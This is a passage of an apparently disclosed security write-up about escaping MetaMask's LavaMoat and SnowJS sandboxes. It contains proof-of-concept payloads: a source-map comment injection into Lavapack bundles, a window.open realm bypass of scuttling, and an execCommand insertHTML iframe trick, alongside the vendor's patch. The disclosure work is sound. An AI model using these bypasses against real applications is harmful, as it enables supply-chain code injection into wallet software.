{"style":52015},[52171],{"type":30,"value":52172},"base64",{"type":24,"tag":930,"props":52174,"children":52175},{"style":1270},[52176],{"type":30,"value":52177},"))",{"type":24,"tag":930,"props":52179,"children":52180},{"style":51463},[52181],{"type":30,"value":5347},{"type":24,"tag":930,"props":52183,"children":52184},{"style":52015},[52185],{"type":30,"value":7241},{"type":24,"tag":930,"props":52187,"children":52188},{"style":1270},[52189],{"type":30,"value":1010},{"type":24,"tag":930,"props":52191,"children":52192},{"style":52015},[52193],{"type":30,"value":436},{"type":24,"tag":930,"props":52195,"children":52196},{"style":51463},[52197],{"type":30,"value":52198},"*?",{"type":24,"tag":930,"props":52200,"children":52201},{"style":1270},[52202],{"type":30,"value":6249},{"type":24,"tag":930,"props":52204,"children":52205},{"style":1002},[52206],{"type":30,"value":13396},{"type":24,"tag":930,"props":52208,"children":52209},{"style":52015},[52210],{"type":30,"value":1471},{"type":24,"tag":930,"props":52212,"children":52213},{"style":937},[52214],{"type":30,"value":52215},"mg",{"type":24,"tag":930,"props":52217,"children":52218},{"style":959},[52219],{"type":30,"value":5539},{"type":24,"tag":930,"props":52221,"children":52222},{"class":932,"line":1066},[52223],{"type":24,"tag":930,"props":52224,"children":52225},{"style":959},[52226],{"type":30,"value":8984},{"type":24,"tag":930,"props":52228,"children":52229},{"class":932,"line":1075},[52230],{"type":24,"tag":930,"props":52231,"children":52232},{"style":959},[52233],{"type":30,"value":38426},{"type":24,"tag":930,"props":52235,"children":52236},{"class":932,"line":1122},[52237],{"type":24,"tag":930,"props":52238,"children":52239},{"emptyLinePlaceholder":16},[52240],{"type":30,"value":2412},{"type":24,"tag":930,"props":52242,"children":52243},{"class":932,"line":1131},[52244,52248,52252,52256,52260,52264,52268,52272],{"type":24,"tag":930,"props":52245,"children":52246},{"style":943},[52247],{"type":30,"value":40974},{"type":24,"tag":930,"props":52249,"children":52250},{"style":959},[52251],{"type":30,"value":436},{"type":24,"tag":930,"props":52253,"children":52254},{"style":1002},[52255],{"type":30,"value":51859},{"type":24,"tag":930,"props":52257,"children":52258},{"style":1158},[52259],{"type":30,"value":6137},{"type":24,"tag":930,"props":52261,"children":52262},{"style":937},[52263],{"type":30,"value":41302},{"type":24,"tag":930,"props":52265,"children":52266},{"style":959},[52267],{"type":30,"value":1087},{"type":24,"tag":930,"props":52269,"children":52270},{"style":1023},[52271],{"type":30,"value":35757},{"type":24,"tag":930,"props":52273,"children":52274},{"style":959},[52275],{"type":30,"value":1503},{"type":24,"tag":930,"props":52277,"children":52278},{"class":932,"line":1144},[52279,52283,52287,52291,52296,52300,52304,52308,52313,52317,52322],{"type":24,"tag":930,"props":52280,"children":52281},{"style":1079},[52282],{"type":30,"value":42286},{"type":24,"tag":930,"props":52284,"children":52285},{"style":1023},[52286],{"type":30,"value":51451},{"type":24,"tag":930,"props":52288,"children":52289},{"style":959},[52290],{"type":30,"value":436},{"type":24,"tag":930,"props":52292,"children":52293},{"style":1002},[52294],{"type":30,"value":52295},"replace",{"type":24,"tag":930,"props":52297,"children":52298},{"style":959},[52299],{"type":30,"value":1010},{"type":24,"tag":930,"props":52301,"children":52302},{"style":943},[52303],{"type":30,"value":40974},{"type":24,"tag":930,"props":52305,"children":52306},{"style":959},[52307],{"type":30,"value":436},{"type":24,"tag":930,"props":52309,"children":52310},{"style":1023},[52311],{"type":30,"value":52312},"commentRegex",{"type":24,"tag":930,"props":52314,"children":52315},{"style":959},[52316],{"type":30,"value":962},{"type":24,"tag":930,"props":52318,"children":52319},{"style":1270},[52320],{"type":30,"value":52321},"''",{"type":24,"tag":930,"props":52323,"children":52324},{"style":959},[52325],{"type":30,"value":1278},{"type":24,"tag":930,"props":52327,"children":52328},{"class":932,"line":1169},[52329],{"type":24,"tag":930,"props":52330,"children":52331},{"style":959},[52332],{"type":30,"value":19679},{"type":24,"tag":33,"props":52334,"children":52335},{},[52336,52338,52344],{"type":30,"value":52337},"Looking deeper at the RegEx, it matches the start of the multiple line comment (",{"type":24,"tag":156,"props":52339,"children":52341},{"className":52340},[],[52342],{"type":30,"value":52343},"/*",{"type":30,"value":52345},") but doesn't match the end of it, meaning that the syntax would break in the case of multiline source map comments.",{"type":24,"tag":151,"props":52347,"children":52349},{"id":52348},"the-bypass",[52350],{"type":30,"value":52351},"The Bypass",{"type":24,"tag":33,"props":52353,"children":52354},{},[52355,52357,52362,52364,52369],{"type":30,"value":52356},"By abusing the ",{"type":24,"tag":156,"props":52358,"children":52360},{"className":52359},[],[52361],{"type":30,"value":51859},{"type":30,"value":52363}," function, we could bypass the Lavamoat restrictions by escaping the ",{"type":24,"tag":156,"props":52365,"children":52367},{"className":52366},[],[52368],{"type":30,"value":51204},{"type":30,"value":52370}," sandbox. To do so, we created a multiline source map comment, and injected the invalid javascript inside the comment:",{"type":24,"tag":920,"props":52372,"children":52374},{"className":34455,"code":52373,"language":34457,"meta":7,"style":7},"/*# sourceMappingURL=data:,{}\n\n}}}}\n}, {\n    package: \"xpl\",\n    file: \"node_modules/xpl/index.js\",\n    test: alert(document.domain),\n    test1: () => { () => { () => { () => {\n\n/*\n*/\n",[52375],{"type":24,"tag":156,"props":52376,"children":52377},{"__ignoreMap":7},[52378,52386,52393,52401,52409,52417,52425,52433,52441,52448,52456],{"type":24,"tag":930,"props":52379,"children":52380},{"class":932,"line":933},[52381],{"type":24,"tag":930,"props":52382,"children":52383},{"style":1422},[52384],{"type":30,"value":52385},"/*# sourceMappingURL=data:,{}\n",{"type":24,"tag":930,"props":52387,"children":52388},{"class":932,"line":984},[52389],{"type":24,"tag":930,"props":52390,"children":52391},{"emptyLinePlaceholder":16},[52392],{"type":30,"value":2412},{"type":24,"tag":930,"props":52394,"children":52395},{"class":932,"line":993},[52396],{"type":24,"tag":930,"props":52397,"children":52398},{"style":1422},[52399],{"type":30,"value":52400},"}}}}\n",{"type":24,"tag":930,"props":52402,"children":52403},{"class":932,"line":1057},[52404],{"type":24,"tag":930,"props":52405,"children":52406},{"style":1422},[52407],{"type":30,"value":52408},"}, {\n",{"type":24,"tag":930,"props":52410,"children":52411},{"class":932,"line":1066},[52412],{"type":24,"tag":930,"props":52413,"children":52414},{"style":1422},[52415],{"type":30,"value":52416},"    package: \"xpl\",\n",{"type":24,"tag":930,"props":52418,"children":52419},{"class":932,"line":1075},[52420],{"type":24,"tag":930,"props":52421,"children":52422},{"style":1422},[52423],{"type":30,"value":52424},"    file: \"node_modules/xpl/index.js\",\n",{"type":24,"tag":930,"props":52426,"children":52427},{"class":932,"line":1122},[52428],{"type":24,"tag":930,"props":52429,"children":52430},{"style":1422},[52431],{"type":30,"value":52432},"    test: alert(document.domain),\n",{"type":24,"tag":930,"props":52434,"children":52435},{"class":932,"line":1131},[52436],{"type":24,"tag":930,"props":52437,"children":52438},{"style":1422},[52439],{"type":30,"value":52440},"    test1: () => { () => { () => { () => {\n",{"type":24,"tag":930,"props":52442,"children":52443},{"class":932,"line":1144},[52444],{"type":24,"tag":930,"props":52445,"children":52446},{"emptyLinePlaceholder":16},[52447],{"type":30,"value":2412},{"type":24,"tag":930,"props":52449,"children":52450},{"class":932,"line":1169},[52451],{"type":24,"tag":930,"props":52452,"children":52453},{"style":1422},[52454],{"type":30,"value":52455},"/*\n",{"type":24,"tag":930,"props":52457,"children":52458},{"class":932,"line":1191},[52459],{"type":24,"tag":930,"props":52460,"children":52461},{"style":1422},[52462],{"type":30,"value":52463},"*/\n",{"type":24,"tag":33,"props":52465,"children":52466},{},[52467],{"type":30,"value":52468},"This allows malicious code to execute without breaking any other package or feature. This payload also makes the supply chain attack more impactful. Any injected code is executed as soon as the bundle file is imported.",{"type":24,"tag":151,"props":52470,"children":52472},{"id":52471},"lavapack-patch",[52473],{"type":30,"value":52474},"Lavapack Patch",{"type":24,"tag":33,"props":52476,"children":52477},{},[52478,52480,52486],{"type":30,"value":52479},"Metamask mitigated the issues we reported on Lavapack by defining ",{"type":24,"tag":156,"props":52481,"children":52483},{"className":52482},[],[52484],{"type":30,"value":52485},"assertValidJS",{"type":30,"value":52487},", an independent check that differs from the browserify syntax check we used to exploit the issue.",{"type":24,"tag":33,"props":52489,"children":52490},{},[52491,52493,52500],{"type":30,"value":52492},"The patch was introduced in commit ",{"type":24,"tag":37,"props":52494,"children":52497},{"href":52495,"rel":52496},"https://github.com/LavaMoat/LavaMoat/commit/9c38cd47e7875dde53349dd34971c74ce34004d9",[41],[52498],{"type":30,"value":52499},"9c38cd4",{"type":30,"value":436},{"type":24,"tag":920,"props":52502,"children":52504},{"className":43448,"code":52503,"language":43450,"meta":7,"style":7},"+ function assertValidJS(code) {\n+  try {\n+    new Function(code)\n+  } catch (err) {\n+    throw new Error(`Invalid JavaScript: ${err.message}`)\n+  }\n+ }\n\n+  // additional layer of syntax checking independent of browserify\n+  assertValidJS(sourceMeta.code) \n\n",[52505],{"type":24,"tag":156,"props":52506,"children":52507},{"__ignoreMap":7},[52508,52516,52524,52532,52540,52548,52556,52564,52571,52579],{"type":24,"tag":930,"props":52509,"children":52510},{"class":932,"line":933},[52511],{"type":24,"tag":930,"props":52512,"children":52513},{"style":1242},[52514],{"type":30,"value":52515},"+ function assertValidJS(code) {\n",{"type":24,"tag":930,"props":52517,"children":52518},{"class":932,"line":984},[52519],{"type":24,"tag":930,"props":52520,"children":52521},{"style":1242},[52522],{"type":30,"value":52523},"+  try {\n",{"type":24,"tag":930,"props":52525,"children":52526},{"class":932,"line":993},[52527],{"type":24,"tag":930,"props":52528,"children":52529},{"style":1242},[52530],{"type":30,"value":52531},"+    new Function(code)\n",{"type":24,"tag":930,"props":52533,"children":52534},{"class":932,"line":1057},[52535],{"type":24,"tag":930,"props":52536,"children":52537},{"style":1242},[52538],{"type":30,"value":52539},"+  } catch (err) {\n",{"type":24,"tag":930,"props":52541,"children":52542},{"class":932,"line":1066},[52543],{"type":24,"tag":930,"props":52544,"children":52545},{"style":1242},[52546],{"type":30,"value":52547},"+    throw new Error(`Invalid JavaScript: ${err.message}`)\n",{"type":24,"tag":930,"props":52549,"children":52550},{"class":932,"line":1075},[52551],{"type":24,"tag":930,"props":52552,"children":52553},{"style":1242},[52554],{"type":30,"value":52555},"+  }\n",{"type":24,"tag":930,"props":52557,"children":52558},{"class":932,"line":1122},[52559],{"type":24,"tag":930,"props":52560,"children":52561},{"style":1242},[52562],{"type":30,"value":52563},"+ }\n",{"type":24,"tag":930,"props":52565,"children":52566},{"class":932,"line":1131},[52567],{"type":24,"tag":930,"props":52568,"children":52569},{"emptyLinePlaceholder":16},[52570],{"type":30,"value":2412},{"type":24,"tag":930,"props":52572,"children":52573},{"class":932,"line":1144},[52574],{"type":24,"tag":930,"props":52575,"children":52576},{"style":1242},[52577],{"type":30,"value":52578},"+  // additional layer of syntax checking independent of browserify\n",{"type":24,"tag":930,"props":52580,"children":52581},{"class":932,"line":1169},[52582],{"type":24,"tag":930,"props":52583,"children":52584},{"style":1242},[52585],{"type":30,"value":52586},"+  assertValidJS(sourceMeta.code)\n",{"type":24,"tag":68,"props":52588,"children":52590},{"id":52589},"hacking-js-realms",[52591],{"type":30,"value":52592},"Hacking JS Realms",{"type":24,"tag":33,"props":52594,"children":52595},{},[52596,52598,52603],{"type":30,"value":52597},"Lavamoat scuttling removes unnecessary and dangerous attributes from the ",{"type":24,"tag":156,"props":52599,"children":52601},{"className":52600},[],[52602],{"type":30,"value":40505},{"type":30,"value":52604}," object. However, this can be easily bypassed when Lavamoat is running in a browser context.",{"type":24,"tag":920,"props":52606,"children":52608},{"className":34455,"code":52607,"language":34457,"meta":7,"style":7},"const w = window.open('/non_existent');\nw.alert(document.domain)\n",[52609],{"type":24,"tag":156,"props":52610,"children":52611},{"__ignoreMap":7},[52612,52654],{"type":24,"tag":930,"props":52613,"children":52614},{"class":932,"line":933},[52615,52619,52624,52628,52632,52636,52641,52645,52650],{"type":24,"tag":930,"props":52616,"children":52617},{"style":937},[52618],{"type":30,"value":12762},{"type":24,"tag":930,"props":52620,"children":52621},{"style":1023},[52622],{"type":30,"value":52623}," w",{"type":24,"tag":930,"props":52625,"children":52626},{"style":1158},[52627],{"type":30,"value":6137},{"type":24,"tag":930,"props":52629,"children":52630},{"style":1023},[52631],{"type":30,"value":34500},{"type":24,"tag":930,"props":52633,"children":52634},{"style":959},[52635],{"type":30,"value":436},{"type":24,"tag":930,"props":52637,"children":52638},{"style":1002},[52639],{"type":30,"value":52640},"open",{"type":24,"tag":930,"props":52642,"children":52643},{"style":959},[52644],{"type":30,"value":1010},{"type":24,"tag":930,"props":52646,"children":52647},{"style":1270},[52648],{"type":30,"value":52649},"'/non_existent'",{"type":24,"tag":930,"props":52651,"children":52652},{"style":959},[52653],{"type":30,"value":1278},{"type":24,"tag":930,"props":52655,"children":52656},{"class":932,"line":984},[52657,52662,52666,52670,52674,52678,52682,52686],{"type":24,"tag":930,"props":52658,"children":52659},{"style":1023},[52660],{"type":30,"value":52661},"w",{"type":24,"tag":930,"props":52663,"children":52664},{"style":959},[52665],{"type":30,"value":436},{"type":24,"tag":930,"props":52667,"children":52668},{"style":1002},[52669],{"type":30,"value":35785},{"type":24,"tag":930,"props":52671,"children":52672},{"style":959},[52673],{"type":30,"value":1010},{"type":24,"tag":930,"props":52675,"children":52676},{"style":1023},[52677],{"type":30,"value":35795},{"type":24,"tag":930,"props":52679,"children":52680},{"style":959},[52681],{"type":30,"value":436},{"type":24,"tag":930,"props":52683,"children":52684},{"style":1023},[52685],{"type":30,"value":35805},{"type":24,"tag":930,"props":52687,"children":52688},{"style":959},[52689],{"type":30,"value":1054},{"type":24,"tag":33,"props":52691,"children":52692},{},[52693,52695,52700],{"type":30,"value":52694},"This opens a new window with a new JS Realm (another ",{"type":24,"tag":156,"props":52696,"children":52698},{"className":52697},[],[52699],{"type":30,"value":40505},{"type":30,"value":52701}," object), and uses it to execute code in the context of the scuttled window. Note that the window needs to be same-origin and must not be scuttled.",{"type":24,"tag":33,"props":52703,"children":52704},{},[52705,52707,52714],{"type":30,"value":52706},"As a mitigation, some applications integrate SnowJS with scuttling, so every new same-origin window and iframe will be detected and scuttled (check the ",{"type":24,"tag":37,"props":52708,"children":52711},{"href":52709,"rel":52710},"https://github.com/MetaMask/metamask-extension/blob/3996f505a6a156d96077acb49579e6fc9e78cd45/app/scripts/use-snow.js#L22",[41],[52712],{"type":30,"value":52713},"Metamask implementation",{"type":30,"value":6249},{"type":24,"tag":151,"props":52716,"children":52718},{"id":52717},"snowjs-attack-surface",[52719],{"type":30,"value":52720},"SnowJS Attack Surface",{"type":24,"tag":33,"props":52722,"children":52723},{},[52724],{"type":30,"value":52725},"SnowJS is a javascript sandbox implementation that secures same-origin realms in browser applications. It is configured to detect new realms and attach them to the sandbox.",{"type":24,"tag":33,"props":52727,"children":52728},{},[52729,52731,52738],{"type":30,"value":52730},"As a mechanism, it hooks functions that can be used to create realms (an iframe, for example). For example, here are some of the ",{"type":24,"tag":37,"props":52732,"children":52735},{"href":52733,"rel":52734},"https://github.com/LavaMoat/snow/blob/ecf1add05c774b90b8baeff934b2e40585e13ca4/src/inserters.js#L9",[41],[52736],{"type":30,"value":52737},"hooked inserters",{"type":30,"value":52739}," functions:",{"type":24,"tag":920,"props":52741,"children":52743},{"className":34455,"code":52742,"language":34457,"meta":7,"style":7},"const map = {\n    Range: ['insertNode'],\n    DocumentFragment: ['replaceChildren', 'append', 'prepend'],\n    Document: ['replaceChildren', 'append', 'prepend', 'write', 'writeln'],\n    Node: ['appendChild', 'insertBefore', 'replaceChild'],\n    Element: ['innerHTML', 'outerHTML', 'insertAdjacentHTML', 'replaceWith', 'insertAdjacentElement', 'append', 'before', 'prepend', 'after', 'replaceChildren'],\n    ShadowRoot: ['innerHTML'],\n    HTMLIFrameElement: ['srcdoc'],\n};\n",[52744],{"type":24,"tag":156,"props":52745,"children":52746},{"__ignoreMap":7},[52747,52767,52788,52827,52881,52920,53019,53039,53060],{"type":24,"tag":930,"props":52748,"children":52749},{"class":932,"line":933},[52750,52754,52759,52763],{"type":24,"tag":930,"props":52751,"children":52752},{"style":937},[52753],{"type":30,"value":12762},{"type":24,"tag":930,"props":52755,"children":52756},{"style":1023},[52757],{"type":30,"value":52758}," map",{"type":24,"tag":930,"props":52760,"children":52761},{"style":1158},[52762],{"type":30,"value":6137},{"type":24,"tag":930,"props":52764,"children":52765},{"style":959},[52766],{"type":30,"value":981},{"type":24,"tag":930,"props":52768,"children":52769},{"class":932,"line":984},[52770,52775,52779,52784],{"type":24,"tag":930,"props":52771,"children":52772},{"style":1023},[52773],{"type":30,"value":52774},"    Range:",{"type":24,"tag":930,"props":52776,"children":52777},{"style":959},[52778],{"type":30,"value":26134},{"type":24,"tag":930,"props":52780,"children":52781},{"style":1270},[52782],{"type":30,"value":52783},"'insertNode'",{"type":24,"tag":930,"props":52785,"children":52786},{"style":959},[52787],{"type":30,"value":17369},{"type":24,"tag":930,"props":52789,"children":52790},{"class":932,"line":993},[52791,52796,52800,52805,52809,52814,52818,52823],{"type":24,"tag":930,"props":52792,"children":52793},{"style":1023},[52794],{"type":30,"value":52795},"    DocumentFragment:",{"type":24,"tag":930,"props":52797,"children":52798},{"style":959},[52799],{"type":30,"value":26134},{"type":24,"tag":930,"props":52801,"children":52802},{"style":1270},[52803],{"type":30,"value":52804},"'replaceChildren'",{"type":24,"tag":930,"props":52806,"children":52807},{"style":959},[52808],{"type":30,"value":962},{"type":24,"tag":930,"props":52810,"children":52811},{"style":1270},[52812],{"type":30,"value":52813},"'append'",{"type":24,"tag":930,"props":52815,"children":52816},{"style":959},[52817],{"type":30,"value":962},{"type":24,"tag":930,"props":52819,"children":52820},{"style":1270},[52821],{"type":30,"value":52822},"'prepend'",{"type":24,"tag":930,"props":52824,"children":52825},{"style":959},[52826],{"type":30,"value":17369},{"type":24,"tag":930,"props":52828,"children":52829},{"class":932,"line":1057},[52830,52835,52839,52843,52847,52851,52855,52859,52863,52868,52872,52877],{"type":24,"tag":930,"props":52831,"children":52832},{"style":1023},[52833],{"type":30,"value":52834},"    Document:",{"type":24,"tag":930,"props":52836,"children":52837},{"style":959},[52838],{"type":30,"value":26134},{"type":24,"tag":930,"props":52840,"children":52841},{"style":1270},[52842],{"type":30,"value":52804},{"type":24,"tag":930,"props":52844,"children":52845},{"style":959},[52846],{"type":30,"value":962},{"type":24,"tag":930,"props":52848,"children":52849},{"style":1270},[52850],{"type":30,"value":52813},{"type":24,"tag":930,"props":52852,"children":52853},{"style":959},[52854],{"type":30,"value":962},{"type":24,"tag":930,"props":52856,"children":52857},{"style":1270},[52858],{"type":30,"value":52822},{"type":24,"tag":930,"props":52860,"children":52861},{"style":959},[52862],{"type":30,"value":962},{"type":24,"tag":930,"props":52864,"children":52865},{"style":1270},[52866],{"type":30,"value":52867},"'write'",{"type":24,"tag":930,"props":52869,"children":52870},{"style":959},[52871],{"type":30,"value":962},{"type":24,"tag":930,"props":52873,"children":52874},{"style":1270},[52875],{"type":30,"value":52876},"'writeln'",{"type":24,"tag":930,"props":52878,"children":52879},{"style":959},[52880],{"type":30,"value":17369},{"type":24,"tag":930,"props":52882,"children":52883},{"class":932,"line":1066},[52884,52889,52893,52898,52902,52907,52911,52916],{"type":24,"tag":930,"props":52885,"children":52886},{"style":1023},[52887],{"type":30,"value":52888},"    Node:",{"type":24,"tag":930,"props":52890,"children":52891},{"style":959},[52892],{"type":30,"value":26134},{"type":24,"tag":930,"props":52894,"children":52895},{"style":1270},[52896],{"type":30,"value":52897},"'appendChild'",{"type":24,"tag":930,"props":52899,"children":52900},{"style":959},[52901],{"type":30,"value":962},{"type":24,"tag":930,"props":52903,"children":52904},{"style":1270},[52905],{"type":30,"value":52906},"'insertBefore'",{"type":24,"tag":930,"props":52908,"children":52909},{"style":959},[52910],{"type":30,"value":962},{"type":24,"tag":930,"props":52912,"children":52913},{"style":1270},[52914],{"type":30,"value":52915},"'replaceChild'",{"type":24,"tag":930,"props":52917,"children":52918},{"style":959},[52919],{"type":30,"value":17369},{"type":24,"tag":930,"props":52921,"children":52922},{"class":932,"line":1075},[52923,52928,52932,52937,52941,52946,52950,52955,52959,52964,52968,52973,52977,52981,52985,52990,52994,52998,53002,53007,53011,53015],{"type":24,"tag":930,"props":52924,"children":52925},{"style":1023},[52926],{"type":30,"value":52927},"    Element:",{"type":24,"tag":930,"props":52929,"children":52930},{"style":959},[52931],{"type":30,"value":26134},{"type":24,"tag":930,"props":52933,"children":52934},{"style":1270},[52935],{"type":30,"value":52936},"'innerHTML'",{"type":24,"tag":930,"props":52938,"children":52939},{"style":959},[52940],{"type":30,"value":962},{"type":24,"tag":930,"props":52942,"children":52943},{"style":1270},[52944],{"type":30,"value":52945},"'outerHTML'",{"type":24,"tag":930,"props":52947,"children":52948},{"style":959},[52949],{"type":30,"value":962},{"type":24,"tag":930,"props":52951,"children":52952},{"style":1270},[52953],{"type":30,"value":52954},"'insertAdjacentHTML'",{"type":24,"tag":930,"props":52956,"children":52957},{"style":959},[52958],{"type":30,"value":962},{"type":24,"tag":930,"props":52960,"children":52961},{"style":1270},[52962],{"type":30,"value":52963},"'replaceWith'",{"type":24,"tag":930,"props":52965,"children":52966},{"style":959},[52967],{"type":30,"value":962},{"type":24,"tag":930,"props":52969,"children":52970},{"style":1270},[52971],{"type":30,"value":52972},"'insertAdjacentElement'",{"type":24,"tag":930,"props":52974,"children":52975},{"style":959},[52976],{"type":30,"value":962},{"type":24,"tag":930,"props":52978,"children":52979},{"style":1270},[52980],{"type":30,"value":52813},{"type":24,"tag":930,"props":52982,"children":52983},{"style":959},[52984],{"type":30,"value":962},{"type":24,"tag":930,"props":52986,"children":52987},{"style":1270},[52988],{"type":30,"value":52989},"'before'",{"type":24,"tag":930,"props":52991,"children":52992},{"style":959},[52993],{"type":30,"value":962},{"type":24,"tag":930,"props":52995,"children":52996},{"style":1270},[52997],{"type":30,"value":52822},{"type":24,"tag":930,"props":52999,"children":53000},{"style":959},[53001],{"type":30,"value":962},{"type":24,"tag":930,"props":53003,"children":53004},{"style":1270},[53005],{"type":30,"value":53006},"'after'",{"type":24,"tag":930,"props":53008,"children":53009},{"style":959},[53010],{"type":30,"value":962},{"type":24,"tag":930,"props":53012,"children":53013},{"style":1270},[53014],{"type":30,"value":52804},{"type":24,"tag":930,"props":53016,"children":53017},{"style":959},[53018],{"type":30,"value":17369},{"type":24,"tag":930,"props":53020,"children":53021},{"class":932,"line":1122},[53022,53027,53031,53035],{"type":24,"tag":930,"props":53023,"children":53024},{"style":1023},[53025],{"type":30,"value":53026},"    ShadowRoot:",{"type":24,"tag":930,"props":53028,"children":53029},{"style":959},[53030],{"type":30,"value":26134},{"type":24,"tag":930,"props":53032,"children":53033},{"style":1270},[53034],{"type":30,"value":52936},{"type":24,"tag":930,"props":53036,"children":53037},{"style":959},[53038],{"type":30,"value":17369},{"type":24,"tag":930,"props":53040,"children":53041},{"class":932,"line":1131},[53042,53047,53051,53056],{"type":24,"tag":930,"props":53043,"children":53044},{"style":1023},[53045],{"type":30,"value":53046},"    HTMLIFrameElement:",{"type":24,"tag":930,"props":53048,"children":53049},{"style":959},[53050],{"type":30,"value":26134},{"type":24,"tag":930,"props":53052,"children":53053},{"style":1270},[53054],{"type":30,"value":53055},"'srcdoc'",{"type":24,"tag":930,"props":53057,"children":53058},{"style":959},[53059],{"type":30,"value":17369},{"type":24,"tag":930,"props":53061,"children":53062},{"class":932,"line":1144},[53063],{"type":24,"tag":930,"props":53064,"children":53065},{"style":959},[53066],{"type":30,"value":19679},{"type":24,"tag":33,"props":53068,"children":53069},{},[53070],{"type":30,"value":53071},"This means that an attacker can't use any of these functions to create an iframe and bypass the snowJS sandbox, because it will detect the new frame and include it in the sandbox.",{"type":24,"tag":33,"props":53073,"children":53074},{},[53075],{"type":30,"value":53076},"Unfortunately, client-side javascript is surprisingly complex with lots of strange behaviours that could be used to bypass the hook security feature.",{"type":24,"tag":151,"props":53078,"children":53080},{"id":53079},"bypassing-snowjs",[53081],{"type":30,"value":53082},"Bypassing SnowJS",{"type":24,"tag":33,"props":53084,"children":53085},{},[53086,53088,53099,53101,53107],{"type":30,"value":53087},"The deprecated ",{"type":24,"tag":37,"props":53089,"children":53092},{"href":53090,"rel":53091},"https://developer.mozilla.org/en-US/docs/Web/API/Document/execCommand",[41],[53093],{"type":24,"tag":156,"props":53094,"children":53096},{"className":53095},[],[53097],{"type":30,"value":53098},"document.execCommand",{"type":30,"value":53100}," function is used to execute commands inside a ",{"type":24,"tag":156,"props":53102,"children":53104},{"className":53103},[],[53105],{"type":30,"value":53106},"contenteditable",{"type":30,"value":53108}," focused context. Despite this being a deprecated function, it is still supported by modern browsers.",{"type":24,"tag":920,"props":53110,"children":53113},{"className":53111,"code":53112,"language":35471,"meta":7,"style":7},"language-html shiki shiki-themes slack-dark","\u003Cdiv id=test contenteditable autofocus>\u003C/div>\n",[53114],{"type":24,"tag":156,"props":53115,"children":53116},{"__ignoreMap":7},[53117],{"type":24,"tag":930,"props":53118,"children":53119},{"class":932,"line":933},[53120,53124,53128,53132,53136,53141,53146,53151,53156,53160],{"type":24,"tag":930,"props":53121,"children":53122},{"style":35464},[53123],{"type":30,"value":1350},{"type":24,"tag":930,"props":53125,"children":53126},{"style":937},[53127],{"type":30,"value":34438},{"type":24,"tag":930,"props":53129,"children":53130},{"style":1023},[53131],{"type":30,"value":35544},{"type":24,"tag":930,"props":53133,"children":53134},{"style":959},[53135],{"type":30,"value":1161},{"type":24,"tag":930,"props":53137,"children":53138},{"style":1270},[53139],{"type":30,"value":53140},"test",{"type":24,"tag":930,"props":53142,"children":53143},{"style":1023},[53144],{"type":30,"value":53145}," contenteditable",{"type":24,"tag":930,"props":53147,"children":53148},{"style":1023},[53149],{"type":30,"value":53150}," autofocus",{"type":24,"tag":930,"props":53152,"children":53153},{"style":35464},[53154],{"type":30,"value":53155},">\u003C/",{"type":24,"tag":930,"props":53157,"children":53158},{"style":937},[53159],{"type":30,"value":34438},{"type":24,"tag":930,"props":53161,"children":53162},{"style":35464},[53163],{"type":30,"value":9105},{"type":24,"tag":33,"props":53165,"children":53166},{},[53167,53169,53175,53177,53182],{"type":30,"value":53168},"After inserting this element to a page, it is possible to use ",{"type":24,"tag":156,"props":53170,"children":53172},{"className":53171},[],[53173],{"type":30,"value":53174},"insertHTML",{"type":30,"value":53176}," command of ",{"type":24,"tag":156,"props":53178,"children":53180},{"className":53179},[],[53181],{"type":30,"value":53098},{"type":30,"value":53183}," to add a non-sandboxed iframe.",{"type":24,"tag":920,"props":53185,"children":53187},{"className":34455,"code":53186,"language":34457,"meta":7,"style":7},"document.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\n",[53188],{"type":24,"tag":156,"props":53189,"children":53190},{"__ignoreMap":7},[53191],{"type":24,"tag":930,"props":53192,"children":53193},{"class":932,"line":933},[53194,53198,53202,53207,53211,53216,53220,53224,53228,53233],{"type":24,"tag":930,"props":53195,"children":53196},{"style":1023},[53197],{"type":30,"value":35795},{"type":24,"tag":930,"props":53199,"children":53200},{"style":959},[53201],{"type":30,"value":436},{"type":24,"tag":930,"props":53203,"children":53204},{"style":1002},[53205],{"type":30,"value":53206},"execCommand",{"type":24,"tag":930,"props":53208,"children":53209},{"style":959},[53210],{"type":30,"value":1010},{"type":24,"tag":930,"props":53212,"children":53213},{"style":1270},[53214],{"type":30,"value":53215},"'insertHTML'",{"type":24,"tag":930,"props":53217,"children":53218},{"style":959},[53219],{"type":30,"value":962},{"type":24,"tag":930,"props":53221,"children":53222},{"style":937},[53223],{"type":30,"value":1790},{"type":24,"tag":930,"props":53225,"children":53226},{"style":959},[53227],{"type":30,"value":962},{"type":24,"tag":930,"props":53229,"children":53230},{"style":1270},[53231],{"type":30,"value":53232},"'\u003Ciframe srcdoc=\"aaa\">'",{"type":24,"tag":930,"props":53234,"children":53235},{"style":959},[53236],{"type":30,"value":1278},{"type":24,"tag":151,"props":53238,"children":53240},{"id":53239},"impact-on-lavamoat-scuttling",[53241],{"type":30,"value":53242},"Impact On Lavamoat Scuttling",{"type":24,"tag":33,"props":53244,"children":53245},{},[53246],{"type":30,"value":53247},"As it is recommended to use snowJS integrated with Lavamoat scuttling to prevent bypasses, it is possible to completely bypass the scuttling feature without pre-conditions.",{"type":24,"tag":33,"props":53249,"children":53250},{},[53251,53253,53258,53260,53265],{"type":30,"value":53252},"For the exploit, the only used functions are in ",{"type":24,"tag":156,"props":53254,"children":53256},{"className":53255},[],[53257],{"type":30,"value":35795},{"type":30,"value":53259}," object, which can never be scuttled once it is a non-writable and non-configurable property in ",{"type":24,"tag":156,"props":53261,"children":53263},{"className":53262},[],[53264],{"type":30,"value":40505},{"type":30,"value":53266}," object.",{"type":24,"tag":33,"props":53268,"children":53269},{},[53270,53272,53277],{"type":30,"value":53271},"Consider this example, which runs a scuttled ",{"type":24,"tag":156,"props":53273,"children":53275},{"className":53274},[],[53276],{"type":30,"value":35785},{"type":30,"value":28560},{"type":24,"tag":920,"props":53279,"children":53281},{"className":34455,"code":53280,"language":34457,"meta":7,"style":7},"document.body.innerHTML = \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\";\ndocument.getElementById('test').focus();\ndocument.execCommand('insertHTML', false, '\u003Ciframe 